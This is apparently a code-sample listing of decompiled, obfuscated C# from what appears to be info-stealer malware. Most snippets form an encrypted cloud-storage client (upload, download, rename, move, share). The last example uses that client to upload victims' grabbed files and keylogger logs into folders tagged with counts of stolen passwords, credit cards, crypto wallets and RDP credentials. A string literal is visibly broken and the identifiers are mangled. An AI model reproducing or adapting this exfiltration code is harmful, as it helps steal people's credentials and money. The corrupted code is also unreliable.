예제 #1
0
		// Token: 0x06000A7B RID: 2683 RVA: 0x0003DC1C File Offset: 0x0003BE1C
		private IEnumerable<Class_233> gmethod_1823(Class_233[] arg_0, Class_233 arg_1)
		{
			using (IEnumerator<Class_233> enumerator = arg_0.Where(new Func<Class_233, bool>(Class_278.NClass_1.field_3.nmethod_4)).GetEnumerator())
			{
				IL_F9:
				while (enumerator.MoveNext())
				{
					Class_233 class_ = enumerator.Current;
					Class_278.NClass_0 nclass_ = new Class_278.NClass_0();
					nclass_.field_2 = class_.prop_0;
					for (;;)
					{
						Class_278.NClass_0 nclass_2 = nclass_;
						Class_233 class_2 = arg_0.FirstOrDefault(new Func<Class_233, bool>(nclass_.nmethod_1));
						nclass_2.field_2 = ((class_2 != null) ? class_2.prop_0 : null);
						if (nclass_.field_2 == arg_1.prop_0)
						{
							break;
						}
						if (nclass_.field_2 == null)
						{
							goto IL_F9;
						}
					}
					yield return class_;
				}
			}
			IEnumerator<Class_233> enumerator = null;
			yield break;
			yield break;
		}
예제 #2
0
        // Token: 0x060009E5 RID: 2533 RVA: 0x0003CFC8 File Offset: 0x0003B1C8
        private Class_255(Class_233 arg_0, Class_235 arg_1, string str_0, string str_1, byte[] byteDizi_0, string str_2) : base("p")
        {
            this.prop_0 = arg_0.prop_0;
            this.prop_2 = new Class_255.NClass_0[]
            {
                new Class_255.NClass_0
                {
                    nprop_2 = str_0,
                    nprop_3 = str_1,
                    nprop_1 = arg_1,
                    nprop_0 = str_2
                }
            };
            Class_234 class_ = arg_0 as Class_234;

            if (class_ == null)
            {
                throw new ArgumentException("parentNode node must implement INodeCrypto");
            }
            if (class_.prop_1 != null)
            {
                this.prop_1 = new Class_275(arg_0.prop_0);
                this.prop_1.vmethod_1815(str_2, byteDizi_0, class_.prop_1);
            }
        }
예제 #3
0
        // Token: 0x060008E5 RID: 2277 RVA: 0x0003A434 File Offset: 0x00038634
        public Uri cmethod_1564(Class_233 arg_0)
        {
            Class_239.NClass_4 nclass_ = new Class_239.NClass_4();
            nclass_.field_9 = arg_0;
            if (nclass_.field_9 == null)
            {
                throw new ArgumentNullException("node");
            }
            if (nclass_.field_9.prop_1 != Class_235.File && nclass_.field_9.prop_1 != Class_235.Directory)
            {
                throw new ArgumentException("Invalid node");
            }
            this.gmethod_1583();
            if (nclass_.field_9.prop_1 == Class_235.Directory)
            {
                this.kmethod_1577(new Class_278(nclass_.field_9, this.field_7, this.smethod_1560()));
                nclass_.field_9 = this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_20));
            }
            Class_234 class_ = nclass_.field_9 as Class_234;

            if (class_ == null)
            {
                throw new ArgumentException("node must implement INodeCrypto");
            }
            Class_260 arg_ = new Class_260(nclass_.field_9);
            string    arg  = this.lmethod_1578 <string>(arg_, null);

            return(new Uri(Class_239.field_1, string.Format("/{0}/{1}#{2}", (nclass_.field_9.prop_1 == Class_235.Directory) ? "folder" : "file", arg, (nclass_.field_9.prop_1 == Class_235.Directory) ? class_.prop_1.ToBase64() : class_.prop_4.ToBase64())));
        }
예제 #4
0
        // Token: 0x060008E8 RID: 2280 RVA: 0x0003A650 File Offset: 0x00038850
        public Stream kmethod_1567(Class_233 arg_0, CancellationToken?arg_1 = null)
        {
            if (arg_0 == null)
            {
                throw new ArgumentNullException("node");
            }
            if (arg_0.prop_1 != Class_235.File)
            {
                throw new ArgumentException("Invalid node");
            }
            Class_234 class_ = arg_0 as Class_234;

            if (class_ == null)
            {
                throw new ArgumentException("node must implement INodeCrypto");
            }
            this.gmethod_1583();
            Class_257 arg_2   = new Class_257(arg_0);
            Class_259 class_2 = this.lmethod_1578 <Class_259>(arg_2, null);
            Stream    stream  = new Class_248(new Class_245(this.field_3.vmethod_1545(new Uri(class_2.prop_0))), class_2.prop_1, class_.prop_0, class_.prop_2, class_.prop_3);

            if (arg_1 != null)
            {
                stream = new Class_246(stream, arg_1.Value);
            }
            return(stream);
        }
예제 #5
0
		// Token: 0x06000A7A RID: 2682 RVA: 0x0003DAEC File Offset: 0x0003BCEC
		public Class_278(Class_233 arg_0, byte[] byteDizi_0, IEnumerable<Class_233> arg_1) : base("s2")
		{
			this.prop_0 = arg_0.prop_0;
			this.prop_2 = new object[]
			{
				new Class_218<int, string>(0, "EXP")
			};
			Class_234 class_ = (Class_234)arg_0;
			byte[] array = class_.prop_1;
			if (array == null)
			{
				array = Class_223.dmethod_1476();
			}
			this.prop_4 = Class_223.smethod_1470(array, byteDizi_0).ToBase64();
			if (class_.prop_1 == null)
			{
				this.prop_3 = new Class_275(arg_0.prop_0);
				this.prop_3.vmethod_1815(arg_0.prop_0, class_.prop_4, array);
				foreach (Class_233 class_2 in this.gmethod_1823(arg_1.ToArray<Class_233>(), arg_0))
				{
					this.prop_3.vmethod_1815(class_2.prop_0, ((Class_234)class_2).prop_4, array);
				}
			}
			byte[] byteDizi_ = (arg_0.prop_0 + arg_0.prop_0).ToBytes();
			this.prop_1 = Class_223.smethod_1470(byteDizi_, byteDizi_0).ToBase64();
		}
예제 #6
0
        // Token: 0x060008EF RID: 2287 RVA: 0x0003AD4C File Offset: 0x00038F4C
        public Class_233 cmethod_1574(Class_233 arg_0, string str_0)
        {
            Class_239.NClass_7 nclass_ = new Class_239.NClass_7();
            nclass_.field_12 = arg_0;
            if (nclass_.field_12 == null)
            {
                throw new ArgumentNullException("node");
            }
            if (nclass_.field_12.prop_1 != Class_235.Directory && nclass_.field_12.prop_1 != Class_235.File)
            {
                throw new ArgumentException("Invalid node type");
            }
            if (string.IsNullOrEmpty(str_0))
            {
                throw new ArgumentNullException("newName");
            }
            Class_234 class_ = nclass_.field_12 as Class_234;

            if (class_ == null)
            {
                throw new ArgumentException("node must implement INodeCrypto");
            }
            this.gmethod_1583();
            byte[] data = Class_223.kmethod_1477(new Class_254(str_0, ((Class_241)nclass_.field_12).prop_6), class_.prop_0);
            this.kmethod_1577(new Class_271(nclass_.field_12, data.ToBase64()));
            return(this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_26)));
        }
예제 #7
0
        // Token: 0x060009FA RID: 2554 RVA: 0x0003D128 File Offset: 0x0003B328
        public Class_257(Class_233 arg_0) : base("g")
        {
            this.prop_1 = arg_0.prop_0;
            Class_242 class_ = arg_0 as Class_242;

            if (class_ != null)
            {
                base.prop_1["n"] = class_.prop_0;
            }
        }
예제 #8
0
 // Token: 0x060008E2 RID: 2274 RVA: 0x0003A2E8 File Offset: 0x000384E8
 public IEnumerable <Class_233> xmethod_1561(Class_233 arg_0)
 {
     Class_239.NClass_3 nclass_ = new Class_239.NClass_3();
     nclass_.field_8 = arg_0;
     if (nclass_.field_8 == null)
     {
         throw new ArgumentNullException("parent");
     }
     return(this.smethod_1560().Where(new Func <Class_233, bool>(nclass_.nmethod_18)));
 }
예제 #9
0
 // Token: 0x060008E6 RID: 2278 RVA: 0x0003A578 File Offset: 0x00038778
 public void vmethod_1565(Class_233 arg_0, string str_0, CancellationToken?arg_1 = null)
 {
     if (arg_0 == null)
     {
         throw new ArgumentNullException("node");
     }
     if (string.IsNullOrEmpty(str_0))
     {
         throw new ArgumentNullException("outputFile");
     }
     using (Stream stream = this.kmethod_1567(arg_0, arg_1))
     {
         this.tmethod_1582(stream, str_0);
     }
 }
예제 #10
0
 // Token: 0x060008E3 RID: 2275 RVA: 0x0003A330 File Offset: 0x00038530
 public void tmethod_1562(Class_233 arg_0, bool bool_0 = true)
 {
     if (arg_0 == null)
     {
         throw new ArgumentNullException("node");
     }
     if (arg_0.prop_1 != Class_235.Directory && arg_0.prop_1 != Class_235.File)
     {
         throw new ArgumentException("Invalid node type");
     }
     this.gmethod_1583();
     if (bool_0)
     {
         this.gmethod_1573(arg_0, this.field_5);
         return;
     }
     this.kmethod_1577(new Class_256(arg_0));
 }
예제 #11
0
        // Token: 0x060008E4 RID: 2276 RVA: 0x0003A398 File Offset: 0x00038598
        public Class_233 gmethod_1563(string str_0, Class_233 arg_0)
        {
            if (string.IsNullOrEmpty(str_0))
            {
                throw new ArgumentNullException("name");
            }
            if (arg_0 == null)
            {
                throw new ArgumentNullException("parent");
            }
            if (arg_0.prop_1 == Class_235.File)
            {
                throw new ArgumentException("Invalid parent node");
            }
            this.gmethod_1583();
            byte[]    byteDizi_ = Class_223.dmethod_1476();
            byte[]    data      = Class_223.kmethod_1477(new Class_254(str_0), byteDizi_);
            byte[]    data2     = Class_223.vmethod_1475(byteDizi_, this.field_7);
            Class_255 arg_      = Class_255.cmethod_1744(arg_0, data.ToBase64(), data2.ToBase64(), byteDizi_);

            return(this.lmethod_1578 <Class_262>(arg_, this.field_7).prop_0[0]);
        }
예제 #12
0
 // Token: 0x060008EE RID: 2286 RVA: 0x0003AC98 File Offset: 0x00038E98
 public Class_233 gmethod_1573(Class_233 arg_0, Class_233 arg_1)
 {
     Class_239.NClass_6 nclass_ = new Class_239.NClass_6();
     nclass_.field_11 = arg_0;
     if (nclass_.field_11 == null)
     {
         throw new ArgumentNullException("node");
     }
     if (arg_1 == null)
     {
         throw new ArgumentNullException("destinationParentNode");
     }
     if (nclass_.field_11.prop_1 != Class_235.Directory && nclass_.field_11.prop_1 != Class_235.File)
     {
         throw new ArgumentException("Invalid node type");
     }
     if (arg_1.prop_1 == Class_235.File)
     {
         throw new ArgumentException("Invalid destination parent node");
     }
     this.gmethod_1583();
     this.kmethod_1577(new Class_267(nclass_.field_11, arg_1));
     return(this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_24)));
 }
예제 #13
0
        // Token: 0x060008EC RID: 2284 RVA: 0x0003A86C File Offset: 0x00038A6C
        public Class_233 xmethod_1571(string str_0, Class_233 arg_0, CancellationToken?arg_1 = null)
        {
            if (string.IsNullOrEmpty(str_0))
            {
                throw new ArgumentNullException("filename");
            }
            if (arg_0 == null)
            {
                throw new ArgumentNullException("parent");
            }
            if (!File.Exists(str_0))
            {
                throw new FileNotFoundException(str_0);
            }
            this.gmethod_1583();
            DateTime  lastWriteTime = File.GetLastWriteTime(str_0);
            Class_233 result;

            using (FileStream fileStream = new FileStream(str_0, FileMode.Open, FileAccess.Read))
            {
                result = this.tmethod_1572(fileStream, Path.GetFileName(str_0), arg_0, new DateTime?(lastWriteTime), arg_1);
            }
            return(result);
        }
예제 #14
0
 // Token: 0x060009F7 RID: 2551 RVA: 0x0003D0FD File Offset: 0x0003B2FD
 public Class_256(Class_233 arg_0) : base("d")
 {
     this.prop_0 = arg_0.prop_0;
 }
예제 #15
0
 // Token: 0x06000A09 RID: 2569 RVA: 0x0003D1D8 File Offset: 0x0003B3D8
 public Class_260(Class_233 arg_0) : base("l")
 {
     this.prop_0 = arg_0.prop_0;
 }
예제 #16
0
			// Token: 0x06000A87 RID: 2695 RVA: 0x0003DC88 File Offset: 0x0003BE88
			internal bool nmethod_1(Class_233 arg_0)
			{
				return arg_0.prop_0 == this.field_2;
			}
예제 #17
0
 // Token: 0x06000911 RID: 2321 RVA: 0x0003B5BD File Offset: 0x000397BD
 internal bool nmethod_18(Class_233 arg_0)
 {
     return(arg_0.prop_0 == this.field_8.prop_0);
 }
예제 #18
0
 // Token: 0x060009ED RID: 2541 RVA: 0x0003D0A8 File Offset: 0x0003B2A8
 public static Class_255 cmethod_1744(Class_233 arg_0, string str_0, string str_1, byte[] byteDizi_0)
 {
     return(new Class_255(arg_0, Class_235.Directory, str_0, str_1, byteDizi_0, "xxxxxxxx"));
 }
예제 #19
0
 // Token: 0x06000A46 RID: 2630 RVA: 0x0003D62F File Offset: 0x0003B82F
 public Class_271(Class_233 arg_0, string str_0) : base("a")
 {
     this.prop_0 = arg_0.prop_0;
     this.prop_1 = str_0;
 }
예제 #20
0
 // Token: 0x060001FD RID: 509 RVA: 0x00010F8D File Offset: 0x0000F18D
 internal bool nmethod_8(Class_233 arg_0)
 {
     return(arg_0.prop_1 == Class_235.Directory && arg_0.prop_2 == this.field_7);
 }
예제 #21
0
 // Token: 0x06000A35 RID: 2613 RVA: 0x0003D4DF File Offset: 0x0003B6DF
 public Class_267(Class_233 arg_0, Class_233 arg_1) : base("m")
 {
     this.prop_0 = arg_0.prop_0;
     this.prop_1 = arg_1.prop_0;
 }
예제 #22
0
 // Token: 0x06000200 RID: 512 RVA: 0x00010FBA File Offset: 0x0000F1BA
 internal bool nmethod_11(Class_233 arg_0)
 {
     return(arg_0.prop_1 == Class_235.Root);
 }
예제 #23
0
			// Token: 0x06000A8A RID: 2698 RVA: 0x0003DCA7 File Offset: 0x0003BEA7
			internal bool nmethod_4(Class_233 arg_0)
			{
				return arg_0.prop_1 == Class_235.Directory || arg_0.prop_1 == Class_235.File;
			}
예제 #24
0
        // Token: 0x060008ED RID: 2285 RVA: 0x0003A904 File Offset: 0x00038B04
        public Class_233 tmethod_1572(Stream stream_, string str_0, Class_233 arg_0, DateTime?arg_1 = null, CancellationToken?arg_2 = null)
        {
            if (stream_ == null)
            {
                throw new ArgumentNullException("stream");
            }
            if (string.IsNullOrEmpty(str_0))
            {
                throw new ArgumentNullException("name");
            }
            if (arg_0 == null)
            {
                throw new ArgumentNullException("parent");
            }
            if (arg_0.prop_1 == Class_235.File)
            {
                throw new ArgumentException("Invalid parent node");
            }
            this.gmethod_1583();
            if (arg_2 != null)
            {
                stream_ = new Class_246(stream_, arg_2.Value);
            }
            string   text = string.Empty;
            int      num  = 0;
            TimeSpan timeSpan;

            while (this.field_2.prop_2.nmethod_1(++num, out timeSpan))
            {
                Class_279 arg_3   = new Class_279(stream_.Length);
                Class_280 class_  = this.lmethod_1578 <Class_280>(arg_3, null);
                Class_227 class_2 = Class_227.Ok;
                using (Class_247 class_3 = new Class_247(stream_))
                {
                    long  num2  = 0L;
                    int[] array = this.lmethod_1588(class_3.prop_0, class_3.Length).ToArray <int>();
                    Uri   arg_4 = null;
                    for (int i = 0; i < array.Length; i++)
                    {
                        text = string.Empty;
                        int    num3   = array[i];
                        byte[] buffer = new byte[num3];
                        class_3.Read(buffer, 0, num3);
                        using (MemoryStream memoryStream = new MemoryStream(buffer))
                        {
                            arg_4 = new Uri(class_.prop_0 + "/" + num2);
                            num2 += (long)num3;
                            try
                            {
                                text = this.field_3.cmethod_1544(arg_4, memoryStream);
                                long num4;
                                if (string.IsNullOrEmpty(text))
                                {
                                    class_2 = Class_227.Ok;
                                }
                                else if (text.FromBase64().Length != 27 && long.TryParse(text, out num4))
                                {
                                    class_2 = (Class_227)num4;
                                    break;
                                }
                            }
                            catch (Exception arg_5)
                            {
                                class_2 = Class_227.RequestFailedRetry;
                                EventHandler <Class_222> eventHandler = this.field_10;
                                if (eventHandler != null)
                                {
                                    eventHandler(this, new Class_222(arg_4, num, timeSpan, class_2, arg_5));
                                }
                                break;
                            }
                        }
                    }
                    if (class_2 == Class_227.Ok)
                    {
                        byte[] data   = Class_223.kmethod_1477(new Class_254(str_0, stream_, arg_1), class_3.prop_0);
                        byte[] array2 = new byte[32];
                        for (int j = 0; j < 8; j++)
                        {
                            array2[j]      = (class_3.prop_0[j] ^ class_3.prop_1[j]);
                            array2[j + 16] = class_3.prop_1[j];
                        }
                        for (int k = 8; k < 16; k++)
                        {
                            array2[k]      = (class_3.prop_0[k] ^ class_3.prop_2[k - 8]);
                            array2[k + 16] = class_3.prop_2[k - 8];
                        }
                        byte[]    data2 = Class_223.smethod_1470(array2, this.field_7);
                        Class_255 arg_6 = Class_255.gmethod_1743(arg_0, data.ToBase64(), data2.ToBase64(), array2, text);
                        return(this.lmethod_1578 <Class_262>(arg_6, this.field_7).prop_0[0]);
                    }
                    EventHandler <Class_222> eventHandler2 = this.field_10;
                    if (eventHandler2 != null)
                    {
                        eventHandler2(this, new Class_222(arg_4, num, timeSpan, class_2, text));
                    }
                    if (class_2 == Class_227.RequestFailedRetry || class_2 == Class_227.RequestFailedPermanetly || class_2 == Class_227.TooManyRequests)
                    {
                        this.smethod_1580(timeSpan);
                        stream_.Seek(0L, SeekOrigin.Begin);
                        continue;
                    }
                    throw new Class_224(class_2);
                }
                break;
            }
            throw new Class_226(text);
        }
예제 #25
0
 // Token: 0x06000919 RID: 2329 RVA: 0x0003B5FF File Offset: 0x000397FF
 internal bool nmethod_26(Class_233 arg_0)
 {
     return(arg_0.Equals(this.field_12));
 }
예제 #26
0
 // Token: 0x060009EC RID: 2540 RVA: 0x0003D09A File Offset: 0x0003B29A
 public static Class_255 gmethod_1743(Class_233 arg_0, string str_0, string str_1, byte[] byteDizi_0, string str_2)
 {
     return(new Class_255(arg_0, Class_235.File, str_0, str_1, byteDizi_0, str_2));
 }
예제 #27
0
        // Token: 0x060001F2 RID: 498 RVA: 0x00010BC0 File Offset: 0x0000EDC0
        public static void dmethod_246(string str_0, string str_1)
        {
            Class_82.NClass_1 nclass_ = new Class_82.NClass_1();
            nclass_.field_4 = "Grabber";
            nclass_.field_5 = "Logs";
            nclass_.field_6 = "Keylogger";
            nclass_.field_7 = Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm + "_" + Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf + Class_47.CountryCOde();
            nclass_.field_3 = string.Concat(new string[]
            {
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "_",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                Class_47.CountryCOde(),
                " PASS:"******" CC:",
                Class_49.field_6.ToString(),
                " WALLETS:",
                (Class_5.field_3 + Class_54.field_0).ToString(),
                " RDP:",
                Class_5.field_2.ToString()
            });
            Class_233 arg_ = Class_82.field_0.smethod_1560().Single(new Func <Class_233, bool>(Class_82.NClass_2.field_8.nmethod_11));

            if (str_1 != "k")
            {
                Class_233 class_ = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_4));
                if (class_ == null)
                {
                    class_ = Class_82.field_0.gmethod_1563(nclass_.field_3, arg_);
                }
                Class_233 class_2 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_5));
                Class_233 class_3 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_6));
                if (class_2 == null)
                {
                    class_2 = Class_82.field_0.gmethod_1563(nclass_.field_4, class_);
                }
                if (class_3 == null)
                {
                    class_3 = Class_82.field_0.gmethod_1563(nclass_.field_5, class_);
                }
                if (str_1 == "g")
                {
                    Class_82.field_0.xmethod_1571(str_0, class_2, null);
                }
                else if (str_1 == "s")
                {
                    Class_82.field_0.xmethod_1571(str_0, class_3, null);
                }
            }
            Class_233 class_4 = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_7));

            if (class_4 == null)
            {
                class_4 = Class_82.field_0.gmethod_1563(nclass_.field_6, arg_);
            }
            Class_233 class_5 = Class_82.field_0.xmethod_1561(class_4).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_8));

            if (class_5 == null)
            {
                class_5 = Class_82.field_0.gmethod_1563(nclass_.field_7, class_4);
            }
            if (str_1 == "k")
            {
                Class_82.field_0.xmethod_1571(str_0, class_5, null);
            }
        }